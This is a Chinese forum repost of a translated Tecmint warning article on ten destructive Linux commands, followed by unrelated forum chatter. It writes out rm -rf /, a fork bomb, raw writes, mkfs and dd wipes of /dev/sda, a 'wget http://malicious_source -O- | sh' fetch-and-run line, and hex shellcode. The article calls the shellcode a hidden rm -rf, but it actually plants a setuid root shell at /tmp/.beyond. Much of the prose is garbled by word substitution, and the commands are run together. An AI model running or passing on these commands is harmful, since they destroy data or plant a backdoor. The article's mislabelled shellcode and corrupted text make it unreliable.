来讲讲:永久不要在 Linux 实行的 10 个最伤害的命令
在学习初期,你一定会遇到很多困难,或者说各种困难,所以你最好先将你linux中的重要内容备份,因为,在你学习的过程中,很可能将系统搞废(eg:源混乱等);Linux命令行佷有效、很高效,也很风趣,但偶然候也很伤害,特别是在你不断定你本人在正在做甚么时分。这篇文章其实不盘算引来你对Linux或linux命令行的恼怒。我们只是想让你意想到在你运转某些命令时应当三思尔后行。(译注:固然,以下命令一般都是在root权限下才干将愚昧发扬到无可救药;在普通用户身份下,损坏的只是本人的一亩三分地。)
1.rm-rf命令
rm-rf命令是删除文件夹及其内容最快的体例之一。仅仅一丁点的敲错或蒙昧都大概招致不成恢复的体系崩坏。以下是一些rm命令的选项。
[*]rm 命令在Linux下一般用来删除文件。
[*]rm-r命令递回的删除文件夹,乃至是空的文件夹。(译注:团体以为此处应当是说错了,从知识看,应当是“乃至长短空的文件夹”)
[*]rm-f命令能不经由扣问间接删除‘只读文件’。(译注:Linux下删除文件其实不在意该文件是不是是只读的,而只是在乎其父目次是不是有写权限。以是,-f这个参数只是暗示不用一个个删除确认,而是一概悄然删除。别的,原始的rm命令实在也是没有删除提醒的,只是一样平常的刊行版城市将rm经由过程别号的体例增添-i参数来请求删除确认,而-f则克制了这个提醒。)
[*]rm-rf/:强迫删除根目次下一切东东。(就是说删除终了后,甚么也没有了。。。)
[*]rm-rf*: 强迫删除以后目次的一切文件。
[*]rm-rf.:强迫删除以后文件夹及其子文件夹。
从如今起,当你要实行rm-rf命令时请把稳一点。我们能够在“.bashrc”文件对‘rm‘命令创立rm-i的别号,来防备用‘rm‘命令删除文件时的变乱,它会请求你确认每个删除哀求。(译注:年夜多半刊行版已如许做了,假如还没有,请如许做,并在利用-f参数前必定思索好你在做甚么!译者自己有着血泪的教导啊。)
2.:(){:|:&};:命令
这就是个fork炸弹的实例。详细操纵是经由过程界说一个名为‘:‘的函数,它会挪用本人两次,一次在前台另外一次运转在背景。它会重复的实行下往直到体系溃散。
:(){:|:&};: 哦?你确认你要尝尝么?万万别在公司正式的服务器上实行啊~~
3.命令 >/dev/sda
上列命令会将某个‘命令‘的输入写到块设备/dev/sda中。该操纵会将在块设备中的一切数据块交换为命令写进的原始数据,从而招致全部块设备的数据丧失。
4.mv文件夹/dev/null
这个命令会挪动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特别的文件,一切写进它的数据城市被扫除,然后前往写操纵乐成。(译注:这就是黑洞啊。固然,要申明的是,经由过程将文件夹挪动到黑洞,其实不能制止数据恢复软件的救赎,以是,真实的完全扑灭,必要接纳公用的软件大概伎俩来完成——我晓得你一定有些器材想删除得干洁净净的。)
#mv/home/user/*/dev/null 上列命令会将User目次一切内容挪动到/dev/null,这意味着一切器材都被‘卷进’黑洞 (null)当中。
5.wgethttp://malicious_source-O-|sh
上列命令会从一个(大概是)歹意源下载一个剧本并实行。Wget命令会下载这个剧本,而sh会(无前提的)实行下载上去的剧本。
注重:你应当时候注重你下载包或剧本的源。只能利用那些从可托任的源中下载剧本/程序。(译注:以是,你真的晓得你在做甚么吗?当碰到这类必要是,我的做法是,先wget上去,然后我往读一读个中究竟写了些甚么,然后思索是不是实行。)
6.mkfs.ext3/dev/sda
上列命令会格局化块设备‘sda’,你无疑晓得在实行上列命令后你的块设备(硬盘驱动器)会被格局化,极新的!没有任何数据,间接让你的体系到达不成恢复的阶段。(译注:一般不会间接利用/dev/sda如许的设备,除非是作为raw设备利用,一样平常都必要将sda分红相似sda1、sda2如许的分区后才利用。固然,不管你利用sda仍是sda1,如许对块设备或分区举行mkfs都是扑灭性的,下面的数据城市被蒸发了。)
7.>file
上列命令经常使用来清空文件内容(译注:一般也用于纪录命令输入。不外请在实行前,确认输入的文件是空的大概还不存在,不然本来的文件可真是恢复不了了——连数据恢复软件都一定能匡助你了。别的,我想你大概真正想用的是“>>”,即累加新的输入到文件,而不是革新谁人文件。)。假如用上列实行时输出毛病或蒙昧的输出相似“>xt.conf” 的命令会掩盖设置文件或其他任何的体系设置文件。
8.^foo^bar
这个命令在我们十个不为人知的Linux命令-Part3中形貌过,用来编纂先前运转的命令而无需重打全部命令。但当用foobar命令时假如你没有完全反省改动原始命令的风险,这大概招致真实的贫苦。(译注:现实上,这类小技能是译者以为的,多数史前时期遗留上去的无用而无害的“黑客”技能。)
9.ddif=/dev/randomof=/dev/sda
上列命令会向块设备sda写进随机的渣滓文件从而擦出数据。固然!你的体系大概堕入凌乱和不成恢复的形态。(译注:记得下面说过mv到黑洞其实不能完全删除数据么?那末这个命令就是给了你一个完全删除的办法!固然为了保险起见,你能够覆写屡次。)
10.埋没命令
上面的命令实在就是下面第一个命令(rm-rf)。这里的代码是埋没在十六进制里的,一个蒙昧的用户大概就会被捉弄。在终端里运转上面命令大概会擦除你的根分区。
这个命令标明一般真实的伤害是埋没的,不会被容易的检测到。你必需时候把稳你在做甚么了局会如何。不要编译/运转从未知来历的代码。
charesp[]__attribute__((section(“.text”)))/*e.s.prelease*/=“xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp-p/bin/sh/tmp/.beyond;chmod4755/tmp/.beyond;”; 注重:不要在你的或你的同砚或黉舍的电脑里的Linux终端或Shell实行以上的任何一个命令。假如你想测试它们,请在假造机上运转。任何反面谐或数据丧失,因为运转下面的命令招致你的体系溃散,文章作者和Tecmint概不卖力。(译注:译者和转载网站也不卖力~!)
明天就到此为止吧,我会很快返来这里,同时带上另外一篇你们喜好的文章。到当时请持续存眷和会见Tecmint。假如你晓得任何其他伤害的Linux命令,也想增加到我们的列表中,请经由过程批评留言给我们同时也别忘了留下你的可贵定见。
英文来历:http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
虽然Linux桌面应用发展很快,但是命令在Linux中依然有很强的生命力。Linux是一个命令行组成的操作系统,精髓在命令行。 我学习Linux的心得体会,希望对大家的学习有所帮助,由于水平有限,本文难免有所欠缺,望请指正。 如果你有庞大而复杂的测试条件,尽量把它剪裁得越小越好。可能你会遇到这种情况,对于一个问题会出现不同内容回答,这时你需要通过实践来验证。 我是学习嵌入式方向的,这学期就选修了这门专业任选课。 对于英语不是很好的读者红旗 Linux、中标Linux这些中文版本比较适合。现在一些Linux网站有一些Linux版本的免费下载,这里要说的是并不适合Linux初学者。 虽然大家都比较喜欢漂亮的mm,但是在学 linux 的过程中,还是要多和“男人”接触一下:P 遇到问题的时候,出来看说和上网查之外,就是要多用 linux 下的 man 命令找找帮助。 然我们对Linux的学习首先是通过对它的产生,发展,到今天仍然在不断完善开始的。 下面笔者在论坛看到的一个好问题: “安装红旗4.0后,系统紫光输入法自带的双拼方案和我的习惯不一样,如何自定义双拼方案解决?谢谢?”这个问题很简练。 学习Linux,应该怎样学,主要学些什么,一位Linux热心学习者,一段学习Linux的风云经验,历时十二个小时的思考总结,近十位网络Linux学习者权威肯定,为您学习Linux指明方向。 不同于Windows?系统需要花钱购买,因为Linux的核心是免费的,自由使用的,核心源代码是开放的。
页:
[1]